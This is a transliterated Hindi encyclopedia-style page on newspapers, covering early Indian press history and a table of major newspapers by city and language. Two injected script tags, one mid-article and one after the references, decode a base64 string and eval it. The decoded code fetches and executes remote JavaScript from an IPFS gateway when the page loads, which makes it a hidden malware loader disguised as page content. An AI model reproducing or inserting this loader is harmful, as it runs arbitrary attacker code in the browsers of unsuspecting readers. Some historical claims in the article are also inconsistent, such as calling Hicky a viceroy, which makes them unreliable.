समाचार पत्र
samachar patr
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| vivaran | 'samachar patr' athava 'akhabar' samaj aur desh mean ho rahi ghatanaoan par adharit ek prakashan hai. isamean mukhyat: taji ghatanaean, khel-kood, vyaktitv, rajaniti, vijnapan ki janakariyaan saste kagaz par chhapi hoti hai. |
| itihas | bharat mean pratham samachar patr nikalane ka shrey 'jems aaugastas hikki' ko mila. usane 1780 ee. mean 'bangal gajat' ka prakashan kiya, kintu isamean kampani sarakar ki alochana ki gee thi, jis karan usaka pres jabt kar liya gaya. |
| pratham bharatiy samachar patr | pahala bharatiy samachar patr aangrezi mean 1816 ee. mean kalakatta mean gangadhar bhattachary dvara 'bangal gajat' nam se nikala gaya. yah saptahik samachar patr tha. |
| pratham hindi samachar patr | udant martand hindi ka pratham samachar patr tha. isaka prakashan 30 mee, 1826 ee. mean kalakatta se ek saptahik patr ke roop mean shuroo hua tha. |
| sanbandhit lekh | bharat mean samachar patroan ka itihas, patrika |
| any janakari | samachar patr prayah dainik hote haian lekin kuchh samachar patr saptahik, masik evan chhamahi bhi hote haian. adhikatar samacharapatr sthaniy bhashaoan mean aur sthaniy vishayoan par kendrit hote haian. |
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samachar patr athava akhabar (aangrezi:Newspaper) samaj aur desh mean ho rahi ghatanaoan par adharit ek prakashan hai. isamean mukhyat: taji ghatanaean, khel-kood, vyaktitv, rajaniti, vijnapan ki janakariyaan saste kagaz par chhapi hoti hai. samachar patr sanchar ke sadhanoan mean mahattvapoorn sthan rakhate haian. ye kagaz par shabdoan se bane vakyoan ko likhakar ya chhapakar taiyar hote haian. samachar patr prayah dainik hote haian lekin kuchh samachar patr saptahik, masik evan chhamahi bhi hote haian. adhikatar samacharapatr sthaniy bhashaoan mean aur sthaniy vishayoan par kendrit hote haian.
itihas aur yogadan
bharat mean british shasan ke ek poorv adhikari ke dvara akhabaroan ki shuruat mani jati hai, lekin usaka svaroop akhabaroan ki tarah nahian tha. vah keval ek panne ka soochanatmak parcha tha. poornaroopen akhabar bangal se 'bangal gajat' ke nam se vayasaray hikki dvara nikala gaya tha. aranbh mean aangrejoan ne apane phayade ke lie akhabaroan ka istemal kiya, chooanki sare akhabar aangrezi mean hi nikal rahe the, isalie bahusankhyak logoan tak khabarean aur soochanaean pahuanch nahian pati thian. jo khabarean bahar nikalakar ati thian. unhean kafi to d-maro dakar prastut kiya jata tha, taki aangrezi sarakar ke atyacharoan ki khabarean dabi rah jaean. aangrez sipahi kisi bhi kshetr mean ghusakar manamana vyavahar karate the. vo jis bhi kshetr se gujarate, vahaan apana atank phailate rahate the. unake khilaf n to mukadame hote aur n hi unhean koee dand hi diya jata tha. in narakiy paristhitiyoan ko jhelate hue bhi log khamosh the. is dauran bharat mean ‘d hiandustan taims’, ‘neshanal herald', 'payaniyar', 'muanbee-mirar' jaise akhabar aangrezi mean nikalate the, jisamean un atyacharoan ka door-door tak ullekh nahian rahata tha. in aangrezi patroan ke atirikt bangala, urdoo adi mean patroan ka prakashan to hota raha, lekin usaka dayara simit tha. use koee bangali padhane vala ya urdoo janane vala hi samajh sakata tha. aise mean pahali bar 30 mee, 1826 ko hindi ka pratham patr ‘udant martand’ ka pahala aank prakashit hua.[1]
bharat mean samachar patroan ka itihas
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharat mean samachar patroan ka itihas yooropiy logoan ke bharat mean pravesh ke sath hi prarambh hota hai. sarvapratham bharat mean priantig pres lane ka shrey purtagaliyoan ko diya jata hai. 1557 ee. mean gova ke kuchh padari logoan ne bharat ki pahali pustak chhapi. 1684 ee. mean aangrez eest indiya kampani ne bhi bharat ki pahali pustak ki chhapaee ki thi. 1684 ee. mean hi kampani ne bharat mean pratham priantig pres (mudranalay) ki sthapana ki.
vishesh bindu
- pahala bharatiy aangrezi samachar patr 1816 ee. mean kalakatta mean gangadhar bhattachary dvara 'bangal gajat' nam se nikala gaya. yah saptahik samachar patr tha.
- 1818 ee. mean marshamain ke netritv mean bangali bhasha mean 'digdarshan' masik patr prakashit hua, lekin yah patr alpakalik siddh hua. isi samay marshamain ke sanpadan mean ek aur saptahik samachar patr 'samachar darpan' prakashit kiya gaya.
- 1821 ee. mean bangali bhasha mean saptahik samachar patr 'sanvad kaumudi' ka prakashan hua. is samachar patr ka prabandh raja ramamohan ray ke hathoan mean tha.
- bharat ka pratham hindi samachar patr 'udant martand' tha.
pratham saptahik akhabar
pahala bharatiy aangrezi samachar patr 1816 ee. mean kalakatta mean gangadhar bhattachary dvara 'bangal gajat' nam se nikala gaya. yah saptahik samachar patr tha. 1818 ee. mean marshamain ke netritv mean bangali bhasha mean 'digdarshan' masik patr prakashit hua, lekin yah patr alpakalik siddh hua. isi samay marshamain ke sanpadan mean ek aur saptahik samachar patr 'samachar darpan' prakashit kiya gaya. 1821 ee. mean bangali bhasha mean saptahik samachar patr 'sanvad kaumudi' ka prakashan hua. is samachar patr ka prabandh raja ramamohan ray ke hathoan mean tha. raja ramamohan ray ne samajik tatha dharmik vicharoan ke virodhasvaroop 'samachar chandrika' ka march, 1822 ee. mean prakashan kiya. isake atirikt ray ne aprail, 1822 mean farasi bhasha mean 'miratul' akhabar evan aangrezi bhasha mean 'brahmanikal maigajin' ka prakashan kiya.
pramukh samachar patr
| nam | nagar | bhasha |
|---|---|---|
| janasatta | kolakata, dilli, mumbee, chandigadh | hindi |
| navabharat taims | mumbee, dilli | hindi |
| hindustan | dilli, patana, lakhanoo, varanasi | hindi |
| panjab kesari | dilli, jalandhar | hindi |
| vishvamitr | mumbee, kanapur, kolakata, patana | hindi |
| vir arjun | dilli | hindi |
| rashtriy sahara | dilli, lakhanoo, gorakhapur | hindi |
| amar ujala | agara, bareli, merath | hindi |
| dainik jagaran | kanapur, banaras, patana, lakhanoo, merath | hindi |
| amrit prabhat | ilahabad, lakhanoo | hindi |
| dainik aj | varanasi, patana, gorakhapur | hindi |
| rajasthan patrika | jayapur, bangalor | hindi |
| nee duniya | dilli, indaur, bhopal, gvaliyar, jabalapur, rayapur, bilasapur | hindi |
| dainik bhaskar | bhopal | hindi |
| hindustan taims | dilli, patana | aangrezi |
| hindoo | chainnee, koyambatoor, dilli | aangrezi |
| taims aauph indiya | dilli, patana, mumbee, ahamadabad | aangrezi |
| iandiyan eksapres | dilli, mumbee, lakhanoo | aangrezi |
| d hitavad | nagapur | aangrezi |
| phaineanshiyal eksapres | mumbee, dilli | aangrezi |
| payaniyar | lakhanoo, kanapur | aangrezi |
| ikon aaumik taims | mumbee | aangrezi |
| stetsamain | nee dilli, kolakata | aangrezi |
| svatantr bharat | lakhanoo | aangrezi |
| amrit bazar patrika | kolakata | aangrezi |
| asam tribyoon | guvahati | aangrezi |
| tribyoon | ambala, chandigadh | aangrezi |
| d teligraph | kolakata | aangrezi |
| paitriyat | dilli | aangrezi |
| n aaurdan indiya | lakhanoo, ilahabad | aangrezi |
| dakkan kr aaunikal | bangalaur | aangrezi |
| dakkan herold | bangalaur | aangrezi |
| blitj | mumbee | marathi |
| samana | mumbee | marathi |
| hiandustan staindard | kolakata | baangla |
| nootan asamiya | guvahati | asamiya |
| akali patrika | jalandhar | panjabi |
| matharubhoomi | kojhikot | malayalam |
| matribhoomi, samaj, prajatantr | katak | u diya |
| tej | dilli | urdoo |
| dinavandi | madurai, koyambatoor | tamil |
| dinamalar | chainnee, madurai | tamil |
| malayalam manorama | tiruvanantapuram | malayalam |
| prabhat khabar | raanchi, jamashedapur, kolakata, devaghar | hindi |
| haribhoomi | hariyana, chhattisagadh, madhy pradesh | hindi |
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tika tippani aur sandarbh
- ↑ jab akhabar bane ajadi ka hathiyar (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 1 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh